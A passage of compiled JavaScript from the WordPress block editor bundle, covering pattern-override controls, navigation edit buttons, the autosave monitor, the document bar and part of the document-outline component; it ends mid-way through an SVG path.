12349 "editor.MediaUpload",
12350 "core/editor/components/media-upload",
12351 () => external_wp_mediaUtils_namespaceObject.MediaUpload
12352);
12353
12354;// ./node_modules/@wordpress/editor/build-module/hooks/pattern-overrides.js
12355
12356
12357
12358
12359
12360
12361
12362
12363
12364const {
12365 PatternOverridesControls,
12366 ResetOverridesControl,
12367 PatternOverridesBlockControls,
12368 PATTERN_TYPES: pattern_overrides_PATTERN_TYPES,
12369 PARTIAL_SYNCING_SUPPORTED_BLOCKS,
12370 PATTERN_SYNC_TYPES
12371} = unlock(external_wp_patterns_namespaceObject.privateApis);
12372const withPatternOverrideControls = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
12373 (BlockEdit) => (props) => {
12374 const isSupportedBlock = !!PARTIAL_SYNCING_SUPPORTED_BLOCKS[props.name];
12375 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
12376 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockEdit, { ...props }, "edit"),
12377 props.isSelected && isSupportedBlock && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ControlsWithStoreSubscription, { ...props }),
12378 isSupportedBlock && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternOverridesBlockControls, {})
12379 ] });
12380 },
12381 "withPatternOverrideControls"
12382);
12383function ControlsWithStoreSubscription(props) {
12384 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
12385 const { hasPatternOverridesSource, isEditingSyncedPattern } = (0,external_wp_data_namespaceObject.useSelect)(
12386 (select) => {
12387 const { getCurrentPostType, getEditedPostAttribute } = select(store_store);
12388 return {
12389 // For editing link to the site editor if the theme and user permissions support it.
12390 hasPatternOverridesSource: !!(0,external_wp_blocks_namespaceObject.getBlockBindingsSource)(
12391 "core/pattern-overrides"
12392 ),
12393 isEditingSyncedPattern: getCurrentPostType() === pattern_overrides_PATTERN_TYPES.user && getEditedPostAttribute("meta")?.wp_pattern_sync_status !== PATTERN_SYNC_TYPES.unsynced && getEditedPostAttribute("wp_pattern_sync_status") !== PATTERN_SYNC_TYPES.unsynced
12394 };
12395 },
12396 []
12397 );
12398 const bindings = props.attributes.metadata?.bindings;
12399 const hasPatternBindings = !!bindings && Object.values(bindings).some(
12400 (binding) => binding.source === "core/pattern-overrides"
12401 );
12402 const shouldShowPatternOverridesControls = isEditingSyncedPattern && blockEditingMode === "default";
12403 const shouldShowResetOverridesControl = !isEditingSyncedPattern && !!props.attributes.metadata?.name && blockEditingMode !== "disabled" && hasPatternBindings;
12404 if (!hasPatternOverridesSource) {
12405 return null;
12406 }
12407 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
12408 shouldShowPatternOverridesControls && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PatternOverridesControls, { ...props }),
12409 shouldShowResetOverridesControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ResetOverridesControl, { ...props })
12410 ] });
12411}
12412(0,external_wp_hooks_namespaceObject.addFilter)(
12413 "editor.BlockEdit",
12414 "core/editor/with-pattern-override-controls",
12415 withPatternOverrideControls
12416);
12417
12418;// ./node_modules/@wordpress/editor/build-module/hooks/navigation-link-view-button.js
12419
12420
12421
12422
12423
12424
12425
12426
12427const SUPPORTED_BLOCKS = ["core/navigation-link", "core/navigation-submenu"];
12428function NavigationViewButton({ attributes }) {
12429 const { kind, id, type } = attributes;
12430 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
12431 const onNavigateToEntityRecord = (0,external_wp_data_namespaceObject.useSelect)(
12432 (select) => select(external_wp_blockEditor_namespaceObject.store).getSettings().onNavigateToEntityRecord,
12433 []
12434 );
12435 const onViewPage = (0,external_wp_element_namespaceObject.useCallback)(() => {
12436 if (kind === "post-type" && type === "page" && id && onNavigateToEntityRecord) {
12437 onNavigateToEntityRecord({
12438 postId: id,
12439 postType: type
12440 });
12441 }
12442 }, [kind, id, type, onNavigateToEntityRecord]);
12443 if (kind !== "post-type" || type !== "page" || !id || !onNavigateToEntityRecord || blockEditingMode !== "contentOnly") {
12444 return null;
12445 }
12446 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableBlockToolbarLastItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12447 external_wp_components_namespaceObject.ToolbarButton,
12448 {
12449 name: "view",
12450 title: (0,external_wp_i18n_namespaceObject.__)("View"),
12451 onClick: onViewPage,
12452 children: (0,external_wp_i18n_namespaceObject.__)("View")
12453 }
12454 ) }) });
12455}
12456const withNavigationViewButton = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
12457 (BlockEdit) => (props) => {
12458 const isSupportedBlock = SUPPORTED_BLOCKS.includes(props.name);
12459 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
12460 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockEdit, { ...props }, "edit"),
12461 props.isSelected && isSupportedBlock && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationViewButton, { ...props })
12462 ] });
12463 },
12464 "withNavigationViewButton"
12465);
12466(0,external_wp_hooks_namespaceObject.addFilter)(
12467 "editor.BlockEdit",
12468 "core/editor/with-navigation-view-button",
12469 withNavigationViewButton
12470);
12471
12472;// ./node_modules/@wordpress/editor/build-module/hooks/template-part-navigation-edit-button.js
12473
12474
12475
12476
12477
12478
12479
12480
12481
12482const NAVIGATION_BLOCK_NAME = "core/navigation";
12483const TEMPLATE_PART_BLOCK_NAME = "core/template-part";
12484const BLOCK_INSPECTOR_AREA = "edit-post/block";
12485function TemplatePartNavigationEditButton({ clientId }) {
12486 const { selectBlock, flashBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
12487 const { enableComplementaryArea } = (0,external_wp_data_namespaceObject.useDispatch)(store);
12488 const {
12489 hasNavigationBlocks,
12490 firstNavigationBlockId,
12491 isNavigationEditable
12492 } = (0,external_wp_data_namespaceObject.useSelect)(
12493 (select) => {
12494 const {
12495 getClientIdsOfDescendants,
12496 getBlockName,
12497 getBlockEditingMode
12498 } = select(external_wp_blockEditor_namespaceObject.store);
12499 const descendants = getClientIdsOfDescendants(clientId);
12500 const navigationBlocksInTemplatePart = descendants.filter(
12501 (blockId) => getBlockName(blockId) === NAVIGATION_BLOCK_NAME
12502 );
12503 const _hasNavigationBlocks = navigationBlocksInTemplatePart.length > 0;
12504 const _firstNavigationBlockId = _hasNavigationBlocks ? navigationBlocksInTemplatePart[0] : null;
12505 return {
12506 hasNavigationBlocks: _hasNavigationBlocks,
12507 firstNavigationBlockId: _firstNavigationBlockId,
12508 // We can't use the useBlockEditingMode hook here because the current
12509 // context is the template part, not the navigation block.
12510 isNavigationEditable: getBlockEditingMode(_firstNavigationBlockId) !== "disabled"
12511 };
12512 },
12513 [clientId]
12514 );
12515 const onEditNavigation = (0,external_wp_element_namespaceObject.useCallback)(() => {
12516 if (firstNavigationBlockId) {
12517 selectBlock(firstNavigationBlockId);
12518 flashBlock(firstNavigationBlockId, 500);
12519 enableComplementaryArea("core", BLOCK_INSPECTOR_AREA);
12520 }
12521 }, [
12522 firstNavigationBlockId,
12523 selectBlock,
12524 flashBlock,
12525 enableComplementaryArea
12526 ]);
12527 if (!hasNavigationBlocks || !isNavigationEditable) {
12528 return null;
12529 }
12530 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableBlockToolbarLastItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12531 external_wp_components_namespaceObject.ToolbarButton,
12532 {
12533 label: (0,external_wp_i18n_namespaceObject.__)("Edit navigation"),
12534 onClick: onEditNavigation,
12535 children: (0,external_wp_i18n_namespaceObject.__)("Edit navigation")
12536 }
12537 ) }) });
12538}
12539const withTemplatePartNavigationEditButton = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
12540 (BlockEdit) => (props) => {
12541 const isTemplatePart = props.name === TEMPLATE_PART_BLOCK_NAME;
12542 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
12543 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockEdit, { ...props }, "edit"),
12544 props.isSelected && isTemplatePart && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12545 TemplatePartNavigationEditButton,
12546 {
12547 clientId: props.clientId
12548 }
12549 )
12550 ] });
12551 },
12552 "withTemplatePartNavigationEditButton"
12553);
12554(0,external_wp_hooks_namespaceObject.addFilter)(
12555 "editor.BlockEdit",
12556 "core/editor/with-template-part-navigation-edit-button",
12557 withTemplatePartNavigationEditButton
12558);
12559
12560;// ./node_modules/@wordpress/editor/build-module/hooks/index.js
12561
12562
12563
12564
12565
12566
12567
12568;// ./node_modules/@wordpress/editor/build-module/components/autocompleters/index.js
12569
12570
12571
12572;// ./node_modules/@wordpress/editor/build-module/components/autosave-monitor/index.js
12573
12574
12575
12576
12577
12578class AutosaveMonitor extends external_wp_element_namespaceObject.Component {
12579 constructor(props) {
12580 super(props);
12581 this.needsAutosave = !!(props.isDirty && props.isAutosaveable);
12582 }
12583 componentDidMount() {
12584 if (!this.props.disableIntervalChecks) {
12585 this.setAutosaveTimer();
12586 }
12587 }
12588 componentDidUpdate(prevProps) {
12589 if (this.props.disableIntervalChecks) {
12590 if (this.props.editsReference !== prevProps.editsReference) {
12591 this.props.autosave();
12592 }
12593 return;
12594 }
12595 if (this.props.interval !== prevProps.interval) {
12596 clearTimeout(this.timerId);
12597 this.setAutosaveTimer();
12598 }
12599 if (!this.props.isDirty) {
12600 this.needsAutosave = false;
12601 return;
12602 }
12603 if (this.props.isAutosaving && !prevProps.isAutosaving) {
12604 this.needsAutosave = false;
12605 return;
12606 }
12607 if (this.props.editsReference !== prevProps.editsReference) {
12608 this.needsAutosave = true;
12609 }
12610 }
12611 componentWillUnmount() {
12612 clearTimeout(this.timerId);
12613 }
12614 setAutosaveTimer(timeout = this.props.interval * 1e3) {
12615 this.timerId = setTimeout(() => {
12616 this.autosaveTimerHandler();
12617 }, timeout);
12618 }
12619 autosaveTimerHandler() {
12620 if (!this.props.isAutosaveable) {
12621 this.setAutosaveTimer(1e3);
12622 return;
12623 }
12624 if (this.needsAutosave) {
12625 this.needsAutosave = false;
12626 this.props.autosave();
12627 }
12628 this.setAutosaveTimer();
12629 }
12630 render() {
12631 return null;
12632 }
12633}
12634var autosave_monitor_default = (0,external_wp_compose_namespaceObject.compose)([
12635 (0,external_wp_data_namespaceObject.withSelect)((select, ownProps) => {
12636 const { getReferenceByDistinctEdits } = select(external_wp_coreData_namespaceObject.store);
12637 const {
12638 isEditedPostDirty,
12639 isEditedPostAutosaveable,
12640 isAutosavingPost,
12641 getEditorSettings
12642 } = select(store_store);
12643 const { interval = getEditorSettings().autosaveInterval } = ownProps;
12644 return {
12645 editsReference: getReferenceByDistinctEdits(),
12646 isDirty: isEditedPostDirty(),
12647 isAutosaveable: isEditedPostAutosaveable(),
12648 isAutosaving: isAutosavingPost(),
12649 interval
12650 };
12651 }),
12652 (0,external_wp_data_namespaceObject.withDispatch)((dispatch, ownProps) => ({
12653 autosave() {
12654 const { autosave = dispatch(store_store).autosave } = ownProps;
12655 autosave();
12656 }
12657 }))
12658])(AutosaveMonitor);
12659
12660
12661;// ./node_modules/@wordpress/icons/build-module/library/chevron-right-small.js
12662
12663
12664var chevron_right_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z" }) });
12665
12666
12667;// ./node_modules/@wordpress/icons/build-module/library/chevron-left-small.js
12668
12669
12670var chevron_left_small_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z" }) });
12671
12672
12673;// external ["wp","dom"]
12674const external_wp_dom_namespaceObject = window["wp"]["dom"];
12675;// ./node_modules/@wordpress/editor/build-module/utils/pageTypeBadge.js
12676
12677
12678
12679function usePageTypeBadge(postId) {
12680 const { isFrontPage, isPostsPage } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
12681 const { canUser, getEditedEntityRecord } = select(external_wp_coreData_namespaceObject.store);
12682 const siteSettings = canUser("read", {
12683 kind: "root",
12684 name: "site"
12685 }) ? getEditedEntityRecord("root", "site") : void 0;
12686 const _postId = parseInt(postId, 10);
12687 return {
12688 isFrontPage: siteSettings?.page_on_front === _postId,
12689 isPostsPage: siteSettings?.page_for_posts === _postId
12690 };
12691 });
12692 if (isFrontPage) {
12693 return (0,external_wp_i18n_namespaceObject.__)("Homepage");
12694 } else if (isPostsPage) {
12695 return (0,external_wp_i18n_namespaceObject.__)("Posts Page");
12696 }
12697 return false;
12698}
12699
12700
12701;// ./node_modules/@wordpress/editor/build-module/components/document-bar/index.js
12702
12703
12704
12705
12706
12707
12708
12709
12710
12711
12712
12713
12714
12715
12716
12717
12718
12719
12720const MotionButton = external_wp_components_namespaceObject.__unstableMotion.create(external_wp_components_namespaceObject.Button);
12721function DocumentBar(props) {
12722 const {
12723 postId,
12724 postType,
12725 postTypeLabel,
12726 documentTitle,
12727 isNotFound,
12728 templateTitle,
12729 onNavigateToPreviousEntityRecord,
12730 isTemplatePreview
12731 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
12732 const {
12733 getCurrentPostType,
12734 getCurrentPostId,
12735 getEditorSettings,
12736 getRenderingMode
12737 } = select(store_store);
12738 const {
12739 getEditedEntityRecord,
12740 getPostType,
12741 getCurrentTheme,
12742 isResolving: isResolvingSelector
12743 } = select(external_wp_coreData_namespaceObject.store);
12744 const _postType = getCurrentPostType();
12745 const _postId = getCurrentPostId();
12746 const _document = getEditedEntityRecord(
12747 "postType",
12748 _postType,
12749 _postId
12750 );
12751 const { default_template_types: templateTypes = [] } = getCurrentTheme() ?? {};
12752 const _templateInfo = getTemplateInfo({
12753 templateTypes,
12754 template: _document
12755 });
12756 const _postTypeLabel = getPostType(_postType)?.labels?.singular_name;
12757 return {
12758 postId: _postId,
12759 postType: _postType,
12760 postTypeLabel: _postTypeLabel,
12761 documentTitle: _document.title,
12762 isNotFound: !_document && !isResolvingSelector(
12763 "getEditedEntityRecord",
12764 "postType",
12765 _postType,
12766 _postId
12767 ),
12768 templateTitle: _templateInfo.title,
12769 onNavigateToPreviousEntityRecord: getEditorSettings().onNavigateToPreviousEntityRecord,
12770 isTemplatePreview: getRenderingMode() === "template-locked"
12771 };
12772 }, []);
12773 const { open: openCommandCenter } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_commands_namespaceObject.store);
12774 const isReducedMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
12775 const isTemplate = TEMPLATE_POST_TYPES.includes(postType);
12776 const hasBackButton = !!onNavigateToPreviousEntityRecord;
12777 const entityTitle = isTemplate ? templateTitle : documentTitle;
12778 const title = props.title || entityTitle;
12779 const icon = props.icon;
12780 const pageTypeBadge = usePageTypeBadge(postId);
12781 const mountedRef = (0,external_wp_element_namespaceObject.useRef)(false);
12782 (0,external_wp_element_namespaceObject.useEffect)(() => {
12783 mountedRef.current = true;
12784 }, []);
12785 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
12786 "div",
12787 {
12788 className: dist_clsx("editor-document-bar", {
12789 "has-back-button": hasBackButton
12790 }),
12791 children: [
12792 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, { children: hasBackButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12793 MotionButton,
12794 {
12795 className: "editor-document-bar__back",
12796 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right_small_default : chevron_left_small_default,
12797 onClick: (event) => {
12798 event.stopPropagation();
12799 onNavigateToPreviousEntityRecord();
12800 },
12801 size: "compact",
12802 initial: mountedRef.current ? { opacity: 0, transform: "translateX(15%)" } : false,
12803 animate: { opacity: 1, transform: "translateX(0%)" },
12804 exit: { opacity: 0, transform: "translateX(15%)" },
12805 transition: isReducedMotion ? { duration: 0 } : void 0,
12806 children: (0,external_wp_i18n_namespaceObject.__)("Back")
12807 }
12808 ) }),
12809 !isTemplate && isTemplatePreview && !hasBackButton && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12810 external_wp_blockEditor_namespaceObject.BlockIcon,
12811 {
12812 icon: layout_default,
12813 className: "editor-document-bar__icon-layout"
12814 }
12815 ),
12816 isNotFound ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: (0,external_wp_i18n_namespaceObject.__)("Document not found") }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
12817 external_wp_components_namespaceObject.Button,
12818 {
12819 className: "editor-document-bar__command",
12820 onClick: () => openCommandCenter(),
12821 size: "compact",
12822 children: [
12823 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
12824 external_wp_components_namespaceObject.__unstableMotion.div,
12825 {
12826 className: "editor-document-bar__title",
12827 initial: mountedRef.current ? {
12828 opacity: 0,
12829 transform: hasBackButton ? "translateX(15%)" : "translateX(-15%)"
12830 } : false,
12831 animate: {
12832 opacity: 1,
12833 transform: "translateX(0%)"
12834 },
12835 transition: isReducedMotion ? { duration: 0 } : void 0,
12836 children: [
12837 icon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon }),
12838 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalText, { size: "body", as: "h1", children: [
12839 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-document-bar__post-title", children: title ? (0,external_wp_dom_namespaceObject.__unstableStripHTML)(title) : (0,external_wp_i18n_namespaceObject.__)("No title") }),
12840 pageTypeBadge && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-document-bar__post-type-label", children: `\xB7 ${pageTypeBadge}` }),
12841 postTypeLabel && !props.title && !pageTypeBadge && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-document-bar__post-type-label", children: `\xB7 ${(0,external_wp_htmlEntities_namespaceObject.decodeEntities)(
12842 postTypeLabel
12843 )}` })
12844 ] })
12845 ]
12846 },
12847 hasBackButton
12848 ),
12849 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-document-bar__shortcut", children: external_wp_keycodes_namespaceObject.displayShortcut.primary("k") })
12850 ]
12851 }
12852 )
12853 ]
12854 }
12855 );
12856}
12857
12858
12859;// external ["wp","richText"]
12860const external_wp_richText_namespaceObject = window["wp"]["richText"];
12861;// ./node_modules/@wordpress/editor/build-module/components/document-outline/item.js
12862
12863
12864const TableOfContentsItem = ({
12865 children,
12866 isValid,
12867 isDisabled,
12868 level,
12869 href,
12870 onSelect
12871}) => {
12872 function handleClick(event) {
12873 if (isDisabled) {
12874 event.preventDefault();
12875 return;
12876 }
12877 onSelect();
12878 }
12879 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12880 "li",
12881 {
12882 className: dist_clsx(
12883 "document-outline__item",
12884 `is-${level.toLowerCase()}`,
12885 {
12886 "is-invalid": !isValid,
12887 "is-disabled": isDisabled
12888 }
12889 ),
12890 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
12891 "a",
12892 {
12893 href,
12894 className: "document-outline__button",
12895 "aria-disabled": isDisabled,
12896 onClick: handleClick,
12897 children: [
12898 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12899 "span",
12900 {
12901 className: "document-outline__emdash",
12902 "aria-hidden": "true"
12903 }
12904 ),
12905 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", { className: "document-outline__level", children: level }),
12906 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "document-outline__item-content", children })
12907 ]
12908 }
12909 )
12910 }
12911 );
12912};
12913var item_default = TableOfContentsItem;
12914
12915
12916;// ./node_modules/@wordpress/editor/build-module/components/document-outline/index.js
12917
12918
12919
12920
12921
12922
12923
12924
12925
12926
12927const emptyHeadingContent = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("em", { children: (0,external_wp_i18n_namespaceObject.__)("(Empty heading)") });
12928const incorrectLevelContent = [
12929 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}, "incorrect-break"),
12930 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("em", { children: (0,external_wp_i18n_namespaceObject.__)("(Incorrect heading level)") }, "incorrect-message")
12931];
12932const singleH1Headings = [
12933 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}, "incorrect-break-h1"),
12934 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("em", { children: (0,external_wp_i18n_namespaceObject.__)("(Your theme may already use a H1 for the post title)") }, "incorrect-message-h1")
12935];
12936const multipleH1Headings = [
12937 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}, "incorrect-break-multiple-h1"),
12938 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("em", { children: (0,external_wp_i18n_namespaceObject.__)("(Multiple H1 headings are not recommended)") }, "incorrect-message-multiple-h1")
12939];
12940function EmptyOutlineIllustration() {
12941 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
12942 external_wp_components_namespaceObject.SVG,
12943 {
12944 width: "138",
12945 height: "148",
12946 viewBox: "0 0 138 148",
12947 fill: "none",
12948 xmlns: "http://www.w3.org/2000/svg",
12949 children: [
12950 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Rect, { width: "138", height: "148", rx: "4", fill: "#F0F6FC" }),
12951 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Line, { x1: "44", y1: "28", x2: "24", y2: "28", stroke: "#DDDDDD" }),
12952 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Rect, { x: "48", y: "16", width: "27", height: "23", rx: "4", fill: "#DDDDDD" }),
12953 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12954 external_wp_components_namespaceObject.Path,
12955 {
12956 d: "M54.7585 32V23.2727H56.6037V26.8736H60.3494V23.2727H62.1903V32H60.3494V28.3949H56.6037V32H54.7585ZM67.4574 23.2727V32H65.6122V25.0241H65.5611L63.5625 26.277V24.6406L65.723 23.2727H67.4574Z",
12957 fill: "black"
12958 }
12959 ),
12960 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Line, { x1: "55", y1: "59", x2: "24", y2: "59", stroke: "#DDDDDD" }),
12961 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Rect, { x: "59", y: "47", width: "29", height: "23", rx: "4", fill: "#DDDDDD" }),
12962 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12963 external_wp_components_namespaceObject.Path,
12964 {
12965 d: "M65.7585 63V54.2727H67.6037V57.8736H71.3494V54.2727H73.1903V63H71.3494V59.3949H67.6037V63H65.7585ZM74.6605 63V61.6705L77.767 58.794C78.0313 58.5384 78.2528 58.3082 78.4318 58.1037C78.6136 57.8991 78.7514 57.6989 78.8452 57.5028C78.9389 57.304 78.9858 57.0895 78.9858 56.8594C78.9858 56.6037 78.9276 56.3835 78.8111 56.1989C78.6946 56.0114 78.5355 55.8679 78.3338 55.7685C78.1321 55.6662 77.9034 55.6151 77.6477 55.6151C77.3807 55.6151 77.1477 55.669 76.9489 55.777C76.75 55.8849 76.5966 56.0398 76.4886 56.2415C76.3807 56.4432 76.3267 56.6832 76.3267 56.9616H74.5753C74.5753 56.3906 74.7045 55.8949 74.9631 55.4744C75.2216 55.054 75.5838 54.7287 76.0497 54.4986C76.5156 54.2685 77.0526 54.1534 77.6605 54.1534C78.2855 54.1534 78.8295 54.2642 79.2926 54.4858C79.7585 54.7045 80.1207 55.0085 80.3793 55.3977C80.6378 55.7869 80.767 56.233 80.767 56.7358C80.767 57.0653 80.7017 57.3906 80.571 57.7116C80.4432 58.0327 80.2145 58.3892 79.8849 58.7812C79.5554 59.1705 79.0909 59.6378 78.4915 60.1832L77.2173 61.4318V61.4915H80.8821V63H74.6605Z",
12966 fill: "black"
12967 }
12968 ),
12969 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Line, { x1: "80", y1: "90", x2: "24", y2: "90", stroke: "#DDDDDD" }),
12970 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Rect, { x: "84", y: "78", width: "30", height: "23", rx: "4", fill: "#F0B849" }),
12971 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12972 external_wp_components_namespaceObject.Path,
12973 {
12974 d: "M90.7585 94V85.2727H92.6037V88.8736H96.3494V85.2727H98.1903V94H96.3494V90.3949H92.6037V94H90.7585ZM99.5284 92.4659V91.0128L103.172 85.2727H104.425V87.2841H103.683L101.386 90.919V90.9872H106.564V92.4659H99.5284ZM103.717 94V92.0227L103.751 91.3793V85.2727H105.482V94H103.717Z",
12975 fill: "black"
12976 }
12977 ),
12978 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Line, { x1: "66", y1: "121", x2: "24", y2: "121", stroke: "#DDDDDD" }),
12979 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Rect, { x: "70", y: "109", width: "29", height: "23", rx: "4", fill: "#DDDDDD" }),
12980 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12981 external_wp_components_namespaceObject.Path,
12982 {
12983 d: "M76.7585 125V116.273H78.6037V119.874H82.3494V116.273H84.1903V125H82.3494V121.395H78.6037V125H76.7585ZM88.8864 125.119C88.25 125.119 87.6832 125.01 87.1861 124.791C86.6918 124.57 86.3011 124.266 86.0142 123.879C85.7301 123.49 85.5838 123.041 85.5753 122.533H87.4332C87.4446 122.746 87.5142 122.933 87.642 123.095C87.7727 123.254 87.946 123.378 88.1619 123.466C88.3778 123.554 88.6207 123.598 88.8906 123.598C89.1719 123.598 89.4205 123.548 89.6364 123.449C89.8523 123.349 90.0213 123.212 90.1435 123.036C90.2656 122.859 90.3267 122.656 90.3267 122.426C90.3267 122.193 90.2614 121.987 90.1307 121.808C90.0028 121.626 89.8182 121.484 89.5767 121.382C89.3381 121.28 89.054 121.229 88.7244 121.229H87.9105V119.874H88.7244C89.0028 119.874 89.2486 119.825 89.4616 119.729C89.6776 119.632 89.8452 119.499 89.9645 119.328C90.0838 119.155 90.1435 118.953 90.1435 118.723C90.1435 118.504 90.0909 118.312 89.9858 118.148C89.8835 117.98 89.7386 117.849 89.5511 117.756C89.3665 117.662 89.1506 117.615 88.9034 117.615C88.6534 117.615 88.4247 117.661 88.2173 117.751C88.0099 117.839 87.8438 117.966 87.7188 118.131C87.5938 118.295 87.527 118.489 87.5185 118.71H85.75C85.7585 118.207 85.902 117.764 86.1804 117.381C86.4588 116.997 86.8338 116.697 87.3054 116.482C87.7798 116.263 88.3153 116.153 88.9119 116.153C89.5142 116.153 90.0412 116.263 90.4929 116.482C90.9446 116.7 91.2955 116.996 91.5455 117.368C91.7983 117.737 91.9233 118.152 91.9205 118.612C91.9233 119.101 91.7713 119.509 91.4645 119.835C91.1605 120.162 90.7642 120.369 90.2756 120.457V120.526C90.9176 120.608 91.4063 120.831 91.7415 121.195C92.0795 121.555 92.2472 122.007 92.2443 122.55C92.2472 123.047 92.1037 123.489 91.8139 123.875C91.527 124.261 91.1307 124.565 90.625 124.787C90.1193 